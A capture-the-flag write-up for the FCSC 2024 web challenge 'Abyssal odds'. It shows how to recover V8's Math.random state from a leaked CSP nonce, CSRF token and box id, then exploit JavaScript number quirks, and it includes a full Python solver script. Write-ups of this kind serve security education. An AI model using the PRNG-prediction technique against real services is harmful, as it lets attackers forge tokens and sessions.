FCSC 2024 Qualification - Abyssal odds (web)

FCSC 2024 Qualification - Abyssal odds

The sources of the challenge are available on hackropole.fr

The challenge consists of a nodejs web application that allows a player to buy some loot boxes for 125 tokens. The player starts with 1000 tokens.

According to .\src\routes\collection.ts, the goal is to have all loot boxes :

import { renderTemplate } from "../templates";

export default eventHandler((event) => {
  const collection = fullCollection.map((item, idx) => ({
    name: item.name,
    img: item.img,
    owned: event.session.collection.has(idx),
  }));

  const count = event.session.collection.size;
  const flag = count === fullCollection.length && (process.env.FLAG || "FCSC{flag}");
  return renderTemplate(event, "collection", { collection, flag });
});

When the player buys a box, the following code is called :

import { renderTemplate } from "../templates";

const PRICE = 125;

export default eventHandler(async (event) => {
  let error = "";
  const hasEnoughCoins = event.session.coins >= PRICE;

  if (event.method === "POST") {
    if (event.session.coins >= PRICE) {
      event.session.coins -= PRICE;
      const box = createBox();
      event.session.boxes.set(box.id, box);

      console.log("new box : " + box.id, box.seed)

      return renderTemplate(event, "buy", {
        error,
        box,
        price: PRICE,
        hasEnoughCoins,
      });
    }

    error = "Not enough coins";
  }

[...]
});

The cash is debited and then the box is created. There is no logic flaws to bypass the buy mechanisms. What about the box creation :

export const fullCollection = [
  { name: "Ocean Pearl Bivalve", img: "/mussle.webp" },
  { name: "Royal Crustacean", img: "/crab.webp" },
  { name: "Luminescent Medusa", img: "/jellyfish.webp" },
  { name: "Sovereign Cephalopod", img: "/octopus.webp" },
  { name: "Coral Reef Specter", img: "/shrimp.webp" },
  { name: "Celestial Seastar", img: "/star.webp" },
  { name: "Majestic Chelonian", img: "/turtle.webp" },
  { name: "Treasure Trove", img: "/molluscs.webp" },
] as const;

export interface LootBox {
  id: string;
  seed: number;
}

export function createBox() {
  console.log("call box")
  return {
    id: randomHex(),
    seed: randomNumber(),
  };
}

function _openBox(box: LootBox, key: number) {
  const ts = Math.floor(Date.now() / 1000);
  switch (true) {
    case key === box.seed:
      return 1;
    case Math.abs(key - ts) < 60:
      return 2;
    case box.seed % key === 0:
      return 3;
    case Math.cos(key) * 0 !== 0:
      return 4;
    case key && (box.seed * key) % 1337 === 0:
      return 5;
    case key && (box.seed | key) === (box.seed | 0):
      return 6;
    case !(key < 0) && box.seed / key < 0:
      return 7;
    default:
      return 0;
  }
}

export function openBox(box: LootBox, key: number) {
  const lootId = _openBox(box, key);
  const loot = fullCollection[lootId];
  console.log(`[BOX OPEN] seed=${box.seed} key=${key} result=${loot.name}`);
  return { loot, lootId };
}

The following code explains several things :

  • the box has 2 attributes : id and seed which are random
  • the loot value is determined by the function _openBox
  • _openBox use key, a user-provided parameter to decide which loot will be returned

Having the goal in mind, the plan is crystal clear. We have to fulfill the 8 requirements to have the 8 different boxes. However, a lot of the requirements depends on the seed value of the box which is create by randomNumber.

cryptoish analysis

Cryptography is a big word for a small analysis. All the crypto functions are based on Math.random()

export function randomNumber() {
  var x = Math.random();
  console.log("random number : " + x + " : " + Math.floor(x * 0xffffffff))
  return Math.floor(x * 0xffffffff);
}

export function randomStr() {
  return randomNumber().toString(36);
}

export function randomHex() {
  return (
    randomNumber().toString(16).padStart(8, "0") +
    randomNumber().toString(16).padStart(8, "0")
  );
}

There is no way to seed this method to control the next generated number. However there are attacks to determine the state of the PRNG like :

I won’t go in crypto details as I don’t understand them and still don’t want to but the fact is V8 uses the xorshift128+ PRNG and the internal state can be calculated with at least 6 consecutive values. Let’s find these 6 values.

values identification

There are 2 middleware in the applications. 0-patch.ts which call a random amount of time Math.random() :

export default defineEventHandler((event) => {
  var m = Math.random()
  const rounds = Math.floor(m * 100);

  for (let i = 0; i < rounds; i++) {
    var x = Math.random();
  }
});

And 1-session.ts which set up the CSP nonce, session cookie and CSRF token :

export default defineEventHandler((event) => {
  let sessionId = getCookie(event, COOKIE_NAME);
  if (!sessionId) {
    console.log("cookie 1")
    sessionId = randomHex();
    setCookie(event, COOKIE_NAME, sessionId);
  }

  let session = sessions.get(sessionId);
  if (!session) {
    session = {
      id: sessionId,
      coins: 1000,
      collection: new Set(),
      boxes: new Map(),
    };
    sessions.set(sessionId, session);
  }
  event.session = session;

  // CSP stuff
  console.log("csp")
  event.nonce = randomHex();
  setHeader(
    event,
    "Content-Security-Policy",
    `default-src 'self'; style-src 'unsafe-inline'; script-src 'nonce-${event.nonce}'  https://cdn.tailwindcss.com/  ; img-src *`
  );

  // CSRF stuff
  let cookieToken = getCookie(event, "csrf_token");
  if (!cookieToken) {
    console.log("cookie csrf 2")
    cookieToken = randomHex();
    setCookie(event, "csrf_token", cookieToken);
  }
  event.csrfToken = cookieToken;
});

The first time you visit the app you will have no cookie so it will be created at this moment. The sessionId cookie is created with randomHex() which is :

randomNumber().toString(16).padStart(8, "0") + randomNumber().toString(16).padStart(8, "0")

Then the CSP nonce and the CSRF token are generated with the same method thus leaking 4 other values from the PRNG.

Then if we buy a box a new call to randomHex() will be done for the box id value which is then inserted in the HTML document making it our 6 needed values.

With the 6 values, we will have the PRNG internal state allowing us to guess the next call to Math.random() * 0xffffffff which will be used as seed to create the bought box with randomNumber()! ## scripting the state leaker

The following short script will do the following actions :

  • POST on /buy in order to buy a box
  • extracting the 6 values from the response of the server (csp*2 + csrf*2 + boxId*2)
  • feed the v8_rand_buster with 0xffffffff as constant to get the internal state in st0 and st1
  • calculate the next value after the 6 values which will be the box seed
import requests
from re import findall
from solv_lib import main
from time import time
from huepy import green, red

def nsplit(line, n):
 return [line[i:i+n] for i in range(0, len(line), n)]

url = "https://abyssal-odds.france-cybersecurity-challenge.fr"

session = requests.Session()

def extract(res):
    csrf_token = findall(r"name=\"csrf_token\" value=\"([0-9a-f]{16})\"", res.text)[0]
    box_id = findall(r"name=\"boxId\" value=\"([0-9a-f]{16})\"", res.text)[0]
    return (csrf_token, box_id)

def get_seed(res, csrf_token, box_id):

    a, b = nsplit(findall(r"nonce\-([0-9a-f]{16})", res.headers["Content-Security-Policy"])[0], 8)
    c, d = nsplit(csrf_token, 8)
    e, f = nsplit(box_id, 8)

    values = list(map(lambda x: int(x, 16), [f, e, d, c, b, a]))

    for line in values[::-1]:
        print("val: " + str(line))

 st0, st1 = main(3.0, 4294967295.0, None, values ) # call the tool to get the state
    res = main(None, 4294967295.0,  (st0, st1, 3), None)[::-1][0] # call the tool to calculate the next value

    print(f"[+] seed : {res}")
    return res


def check_res(res, excepted):
    if (val := findall(r'<div class="name text-2xl font-thin text-amber-600">(.*)</div>', res.text)[0]) == excepted:
        print(green(val))
    else:
        print(red(val))


if __name__ == "__main__":

    res = session.post(url + "/buy", data={
        "action": "buy",
    })

    csrf_token, box_id  = extract(res)
    payload = get_seed(res, csrf_token, box_id)

I modified a bit the server sources in order to print the call to each call of Math.random() and it’s value by 0xffffffff :

My script extracts the 6 values and, as we see, they are the value generated by the random calls. The found seed corresponds to the seed used to create the new box as intended.

Now that we have the seed let’s solve the JS fuckeries.

JS fuckeries

As stated before the seed is used to make constraints that have to be solved in order to choose a given box.

function _openBox(box: LootBox, key: number) {
  const ts = Math.floor(Date.now() / 1000);
  switch (true) {
    case key === box.seed:
      return 1;
    case Math.abs(key - ts) < 60:
      return 2;
    case box.seed % key === 0:
      return 3;
    case Math.cos(key) * 0 !== 0:
      return 4;
    case key && (box.seed * key) % 1337 === 0:
      return 5;
    case key && (box.seed | key) === (box.seed | 0):
      return 6;
    case !(key < 0) && box.seed / key < 0:
      return 7;
    default:
      return 0;
  }
}

For the first one, we only need to send the box seed as a key so nothing too weird.

The second one requires to send the same timestamp as the server with less than 60 µs of delta which is also straightforward.

the server is sending its time through the Date header

# 1 send the calculated seed
res = session.post(url + "/buy", data= {
 "action": "buy",
})

csrf_token, box_id  = extract(res)
payload = get_seed(res, csrf_token, box_id)

data={
 "csrf_token": csrf_token,
 "key": payload,
 "boxId" : box_id,
 "action": "open"
}

res = session.post(url + "/open", data=data)
check_res(res, "Royal Crustacean")

# 2 send the timestamp
res = session.post(url + "/buy", data= {
 "action": "buy",
})

csrf_token, box_id  = extract(res)

data={
 "csrf_token": csrf_token,
 "key": time() + 360, # I have not the same time as the server
 "boxId" : box_id,
 "action": "open"
}

res = session.post(url + "/open", data=data)
check_res(res, "Luminescent Medusa")

The third constraint is to find something like seed % key === 0 and seed != key. I’m bad at math so I went full goblin mode

done = False

while not done:
 del session.cookies["csrf_token"]

 res = session.post(url + "/buy", data= {
  "action": "buy",
 })

 csrf_token, box_id = extract(res)
 payload = get_seed(res, csrf_token, box_id)
 if payload % 2 == 0:
  done = True

data={
 "csrf_token": csrf_token,
 "key": int(payload) / 2,
 "boxId" : box_id,
 "action": "open"
}

res = session.post(url + "/open", data=data)
check_res(res, "Sovereign Cephalopod")

The JS weirderies starts with the 4th constraints as we need something like Math.cos(key) * 0 !== 0 which will drive by math teacher crazy as nothing by 0 would give something different than 0 (at least in this corpus).

But this things exists in JS causeMath.cos of a huge number will return NaN and NaN by 0 is Nan which is different of 0.

Math.cos(370000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) * 0 !== 0

true

The 5th requires key && (seed * key) % 1337 === 0 but as I’m still noob at maths I went Gobelin again with :

 # 5
del session.cookies["csrf_token"]

res = session.post(url + "/buy", data= {
 "action": "buy",
})

csrf_token, box_id  = extract(res)
payload = get_seed(res, csrf_token, box_id)

i = 1

while payload * i % 1337 != 0:
 i += 1

data={
 "csrf_token": csrf_token,
 "key": i,
 "boxId" : box_id,
 "action": "open"
}

res = session.post(url + "/open", data=data)
check_res(res, "Celestial Seastar")

The 6th is funny. It’s says key && (box.seed | key) === (box.seed | 0) which can be summed up as :

a && a != b && (b | a) === (b | 0)
a && a != b && (b | a) === b

Which I guess is quite impossible outside of a JS engine. I just fuzzed the input in a local node console and find that a big enough number will make shit works aha.

var a = 0xfffffffffffffff; var b = 720420764; (b | a) === (b | 0) // b is a random key for the test
true

(b | 0xffffffffffffff)
720420764

My guess is that if we go further than 2^32 the output of (b | a) will be a 64 bits value and the value will be truncated making it return the low part which is b.

Finally the last one was a bit harder and still mathematically not possible : !(key < 0) && box.seed / key < 0 : - key can’t be below 0 - seed / 0 must be below zero

Or something positive divided by something else positive can’t be negative. Unless you use a JS engine as -0 is positive

!( -0 < 0) // true
(720420764 / -0) < 0 // true

!(-0 < 0) && (720420764 / -0) < 0 // true

Lauching the exploit will return the cookie of the session with all the loot box opened :

The returned session will has all the loot box opened !

Some resources :

import requests
from re import findall
from solv_lib import main
from time import time
from huepy import green, red

def nsplit(line, n):
 return [line[i:i+n] for i in range(0, len(line), n)]

url = "https://abyssal-odds.france-cybersecurity-challenge.fr"

session = requests.Session()

def extract(res):
    csrf_token = findall(r"name=\"csrf_token\" value=\"([0-9a-f]{16})\"", res.text)[0]
    box_id = findall(r"name=\"boxId\" value=\"([0-9a-f]{16})\"", res.text)[0]
    return (csrf_token, box_id)

def find_next():
    pass

def get_seed(res, csrf_token, box_id):

    a, b = nsplit(findall(r"nonce\-([0-9a-f]{16})", res.headers["Content-Security-Policy"])[0], 8)
    c, d = nsplit(csrf_token, 8)
    e, f = nsplit(box_id, 8)

    values = list(map(lambda x: int(x, 16), [f, e, d, c, b, a]))

    for line in values[::-1]:
        print("val: " + str(line))

    st0, st1 = main(3.0, 4294967295.0, None, values )
    res = main(None, 4294967295.0,  (st0, st1, 3), None)[::-1][0]
    print(f"[+] seed : {res}")
    return res

def check_res(res, excepted):
    if (val := findall(r'<div class="name text-2xl font-thin text-amber-600">(.*)</div>', res.text)[0]) == excepted:
        print(green(val))
    else:
        print(red(val))


if __name__ == "__main__":

    # 1
    res = session.post(url + "/buy", data= {
        "action": "buy",
    })

    csrf_token, box_id  = extract(res)
    payload = get_seed(res, csrf_token, box_id)

    exit()


    data={
        "csrf_token": csrf_token,
        "key": payload,
        "boxId" : box_id,
        "action": "open"
    }

    res = session.post(url + "/open", data=data)
    check_res(res, "Royal Crustacean")

    # 2
    res = session.post(url + "/buy", data= {
        "action": "buy",
    })

    csrf_token, box_id  = extract(res)

    data={
        "csrf_token": csrf_token,
        "key": time() + 360,
        "boxId" : box_id,
        "action": "open"
    }

    res = session.post(url + "/open", data=data)
    check_res(res, "Luminescent Medusa")

    # 3
    done = False

    while not done:

        del session.cookies["csrf_token"]

        res = session.post(url + "/buy", data= {
            "action": "buy",
        })

        csrf_token, box_id = extract(res)
        payload = get_seed(res, csrf_token, box_id)
        if payload % 2 == 0:
            done = True

    data={
        "csrf_token": csrf_token,
        "key": int(payload) / 2,
        "boxId" : box_id,
        "action": "open"
    }

    res = session.post(url + "/open", data=data)
    check_res(res, "Sovereign Cephalopod")

    # 4
    res = session.post(url + "/buy", data= {
        "action": "buy",
    })

    csrf_token, box_id  = extract(res)

    data={
        "csrf_token": csrf_token,
        "key": "370000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
        "boxId" : box_id,
        "action": "open"
    }

    res = session.post(url + "/open", data=data)
    check_res(res, "Coral Reef Specter")

    # 5
    del session.cookies["csrf_token"]

    res = session.post(url + "/buy", data= {
        "action": "buy",
    })

    csrf_token, box_id  = extract(res)
    payload = get_seed(res, csrf_token, box_id)

    i = 1

    while payload * i % 1337 != 0:
        i += 1

    data={
        "csrf_token": csrf_token,
        "key": i,
        "boxId" : box_id,
        "action": "open"
    }

    res = session.post(url + "/open", data=data)
    check_res(res, "Celestial Seastar")

    # 6
    del session.cookies["csrf_token"]

    res = session.post(url + "/buy", data= {
        "action": "buy",
    })

    csrf_token, box_id  = extract(res)
    payload = get_seed(res, csrf_token, box_id)

    print(payload)

    data={
    "csrf_token": csrf_token,
        "key": "111111111111111111111111111",
        "boxId" : box_id,
        "action": "open"
    }

    res = session.post(url + "/open", data=data)
    check_res(res, "Majestic Chelonian")

    # 7
    del session.cookies["csrf_token"]

    res = session.post(url + "/buy", data= {
        "action": "buy",
    })

    csrf_token, box_id  = extract(res)
    payload = get_seed(res, csrf_token, box_id)

    print(payload)

    data={
    "csrf_token": csrf_token,
        "key": "-0",
        "boxId" : box_id,
        "action": "open"
    }

    res = session.post(url + "/open", data=data)
    check_res(res, "Treasure Trove")

    # 8
    del session.cookies["csrf_token"]

    res = session.post(url + "/buy", data= {
        "action": "buy",
    })

    csrf_token, box_id  = extract(res)
    data={
    "csrf_token": csrf_token,
        "key": "1312",
        "boxId" : box_id,
        "action": "open"
    }

    res = session.post(url + "/open", data=data)
    check_res(res, "Ocean Pearl Bivalve")

    print(session.cookies['session_id'])